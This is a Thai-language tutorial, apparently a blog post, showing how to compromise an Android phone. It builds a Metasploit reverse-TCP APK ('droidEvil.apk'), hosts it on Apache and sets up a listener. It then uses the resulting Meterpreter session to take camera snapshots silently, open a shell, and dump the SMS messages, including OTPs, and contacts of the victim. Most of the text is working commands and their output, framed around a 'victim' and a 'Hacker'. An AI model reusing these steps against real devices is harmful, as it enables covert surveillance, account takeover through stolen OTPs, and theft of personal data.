บทนำ (Overview)
บทความนี้จะกล่าวการยึดเครื่อง “Android” โดยใช้ “Meterpeter” ทำให้เราสามารถที่จะควบคุมเครื่องของเหยื่อจากระยะไกลเช่น อ่าน “SMS” อ่าน “Contact” เข้าถึงระบบไฟล์ หรือแม้กระทั่งถ่ายรูป โดยที่เจ้าตัวก็ไม่ทราบเป็นต้น โดยหลักการคือ เราจะต้องสร้างโปรแกรม “Android .apk” 1 ตัว ซึ่งจะมีหน้าที่สำหรับเชื่อมต่อกับ “Server” ที่ “Hacker” ได้ตั้งเอาไว้ แต่การที่ตัวโปรแกรมที่สร้างเอาไว้นั้นจะติดกับเหยื่อได้นั้น ขึ้นอยู่กับปัจจัย คือ
- เครื่องของเหยื่อดาวน์โหลดโปรแกรม “.apk” ที่ “Hacker” ได้สร้างเอาไว้
- เครื่องของเหยื่ออนุญาตให้ติดตั้งโปรแกรมที่ไม่ได้อยู่ใน “Market” (Unknown sources)
- เครื่องของเหยื่อสามารถติดตังโปรแกรมได้สมบูรณ์
- เครื่องของเหยื่อได้เปิดโปรแกรมดังกล่าว
ขั้นตอน (Steps)
Kali – Set Listener
- ติดตั้ง “Kali” สามารถดาวน์โหลดได้จาก (https://www.offensive-security.com/kali-linux-vmware-arm-image-download/)
- ตรวจสอบ “IP” ของ “Kali”
root@kali:~# ifconfig inet 192.168.1.64 netmask 255.255.255.0 broadcast 192.168.1.255
- เปิดใช้งาน “Metasploit” โดยใช้คำสั่ง
root@kali:~# msfconsole %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%% %% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% %%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% %%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% %%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% %%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Easy phishing: Set up email templates, landing pages and listeners in Metasploit Pro -- learn more on http://rapid7.com/metasploit =[ metasploit v4.11.14-dev ] + -- --=[ 1523 exploits - 887 auxiliary - 259 post ] + -- --=[ 437 payloads - 38 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
- ใช้คำสั่ง “use exploit/multi/handler” เพื่อเปิด Listener รับคำสั่งเชื่อมต่อเข้ามา
msf > use exploit/multi/handler msf exploit(handler) >
- ใช้คำสั่ง “search” เพื่อค้นหา “payload” ที่เกี่ยวข้องกับ “android”
msf exploit(handler) > search Android/meterpreter Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- payload/android/meterpreter/reverse_http normal Android Meterpreter, Dalvik Reverse HTTP Stager payload/android/meterpreter/reverse_https normal Android Meterpreter, Dalvik Reverse HTTPS Stager payload/android/meterpreter/reverse_tcp normal Android Meterpreter, Dalvik Reverse TCP Stager
- เราจะลองเลือกใช้ “Payload” ที่ชื่อ “payload/android/meterpreter/reverse_tcp” โดยจะต้องใช้คำสั่งการตั่งค่าดังนี้
msf exploit(handler) > set payload android/meterpreter/reverse_tcp payload => android/meterpreter/reverse_tcp
- จากนั้นเรามาลองตรวจสอบกันว่า ในการ “Exploit” นั้นต้องการค่าอะไรบ้างที่จะต้อง “Set”
msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (android/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- AutoLoadAndroid true yes Automatically load the Android extension LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target
- จากผลลัพธ์คำสั่งข้างต้นเรายังขาดค่าของ LHOST (Local host) ส่วน LPORT (Local port) สามารถใช้ค่าเดิมได้คือ 4444 สามารถตั้งค่าโดยใช้คำสั่งดังนี้
msf exploit(handler) > set LHOST 192.168.1.64 LHOST => 192.168.1.64
- เมื่อตั้งค่าเป็นที่เรียบร้อยแล้วเราจะเริ่มเปิด “Listener” กัน โดยใช้คำสั่ง “Exploit”
Kali – Create APK
- เราสามารถสร้างโปรแกรม “Android” ที่นามสกุล “.apk” ได้โดยใช้ “MSF venom” โดยใช้คำสั่งดังต่อไปนี้
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.64 LPORT=4444 -o droidEvil.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload No encoder or badchars specified, outputting raw payload Payload size: 9036 bytes Saved as: droidEvil.apk
- ลองตรวจสอบดูว่ามีไฟล์ .apk ที่เราสร้างขึ้นมาใหม่หรือไม่โดยใช้คำสั่ง
root@kali:~# ls -l droidEvil.apk -rw-r--r-- 1 root root 9036 Jul 17 11:53 droidEvil.apk
- ให้ “copy” ไฟล์ดังกล่าวไปที่ “/var/www/html” โดยใช้คำสั่ง “cp” เพื่อให้ “Android” สามารถดาวน์โหลดและติดตั้งได้
root@kali:~# cp droidEvil.apk /var/www/html/droidEvil.apk root@kali:~# ls -l /var/www/html/droidEvil.apk -rw-r--r-- 1 root root 9036 Jul 17 12:03 /var/www/html/droidEvil.apk
- โฟลเดอร์ดังกล่างข้างต้นเป็นโฟลเดอร์ของ “Apache” เพราะฉะนั้นก่อนจะใช้งาน “Web server” ได้เราจะต้องเปิดใช้งาน “Service” เสียก่อน โดยใช้คำสั่ง
root@kali:~# service apache2 start
Android
- ติดตั้ง “Emulator” สามารถติดตามวิธีการติดตั้ง “Emulator” ต่าง ๆ ได้จากบทความ
- เปิด Android Browser แล้วไปที่ URL ที่เราใช้สำหรับดาวน์โหลด apk ของเรา จากตัวอย่าง เช่น http://192.168.1.64/droidEvil.apk
- รอจนกระทั้งดาวน์โหลดเสร็จสิ้น
- ไปที่โฟลเดอร์ดาวน์โหลดจากนั้นทำการติดตั้ง
- สังเกตุเกตุได้ว่าโปรแกรมจะร้องขอ “Permission” ทั้งโทรศัพท์ “SMS” “MMS” และควบคุมเครื่่องต่าง ๆ ให้คลิก “Next” เพื่อติดตั้ง
- ถ้าเกิดปัญหาไม่สามารถติดตั้งโปรแกรมได้ ลองเปลี่ยน “Emulator” หรือใช้ “Device” เครื่องอื่น ๆ ภายหลังติดตั้งสำเร็จให้คลิก “Open” แล้วลองกลับไปสังเกตุที่ “Kali” ที่เราตั้ง “Listener” ไว้
Kali – Meterpeter
- เมื่อกลับไปที่ “Kali” เราจะพบ “Meterpeter shell” ขึ้นมา นั้นแสดงว่ามี “Android” เชื่อมต่อกับ “Listener” ที่เราตั้งเอาไว้
- เราสามารถใช้คำสั่ง “help” เพื่อตรวจสอบคำสั่งอื่น ๆ ที่สามารถเรียกใช้งานได้
meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values help Help menu info Displays information about a Post module irb Drop into irb scripting mode load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session. transport Change the current transport mechanism use Deprecated alias for 'load' uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ifconfig Display interfaces ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getuid Get the user that the server is running as ps List running processes shell Drop into a system command shell sysinfo Gets information about the remote system, such as OS Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Android Commands ================ Command Description ------- ----------- activity_start Start an Android activity from a Uri string check_root Check if device is rooted dump_calllog Get call log dump_contacts Get contacts list dump_sms Get sms messages geolocate Get current lat-long using geolocation interval_collect Manage interval collection capabilities send_sms Sends SMS from target session set_audio_mode Set Ringer Mode wlan_geolocate Get current lat-long using WLAN information
- ลองใช้คำสั่ง “sysinfo” เพื่อตรวจสอบ “OS”
meterpreter > sysinfo Computer : localhost OS : Android 5.0 - Linux 3.4.0-6156613 (armv7l) Meterpreter : java/android
- ตรวจสอบกล้องที่สามารถใช้งานได้
meterpreter > webcam_list 1: Back Camera 2: Front Camera
- เมื่อทราบแล้วว่า มีกล้องใดบ้างที่สามารถใช้งานได้ เช่น สามารถใช้งานคำสั่ง สำหรับถ่ายภาพได้เช่นกัน “webcam_snap 1” หรือ “webcam_snap 2”
meterpreter > webcam_snap 1 [*] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/nNGUzcwr.jpeg
- เมื่อทดลองใช้ฟังก์ชันดังกล่าวพบว่า สามารถถ่ายรูปและส่งกลับมายัง “Hacker” ได้ทันที โดยที่มือถือไม่มีอะไรเกิดขึ้น เช่น เสียง แฟรช หรือโชว์ภาพถ่ายหน้าจอ เป็นต้น
- เราสามารถใช้คำสั่ง “Shell” เพื่อสามารถเข้าถึง “Unix command” ที่ใช้สำหรับ Android ได้ดังนี้
meterpreter > shell Process 1 created. Channel 1 created. ls -l drwxr-xr-x root root 2014-05-06 00:50 acct drwxrwx--- system cache 2016-07-17 18:19 cache dr-x------ root root 2014-05-06 00:50 config lrwxrwxrwx root root 2014-05-06 00:50 d -> /sys/kernel/debug drwxrwx--x system system 2016-07-17 23:55 data -rw-r--r-- root root 474 1970-01-01 07:00 default.prop drwxr-xr-x root root 2016-07-12 12:00 dev drwxrwx--x system radio 2014-12-21 15:30 efs lrwxrwxrwx root root 2014-05-06 00:50 etc -> /system/etc
- หรือจะ “dump_sms” เพื่อตรวจสอบข้อมูลต่าง ๆ หรือ “OTP” ที่จะส่งมาโดยใช้คำสั่งดังนี้
meterpreter > dump_sms [*] Fetching 29 sms messages [*] SMS messages saved to: sms_dump_20160717130054.txt
- ทดลองเปิดไฟล์ที่ได้สำเนา “SMS” มาจาก “Android”
- นอกจากนี้ยังสามารถ “dump contact list” ได้อีก
meterpreter > dump_contacts [*] Fetching 30 contacts into list [*] Contacts list saved to: contacts_dump_20160717130707.txt
- ทดลองเปิดไฟล์ที่ได้ทำสำเนาจากโทรศัพท์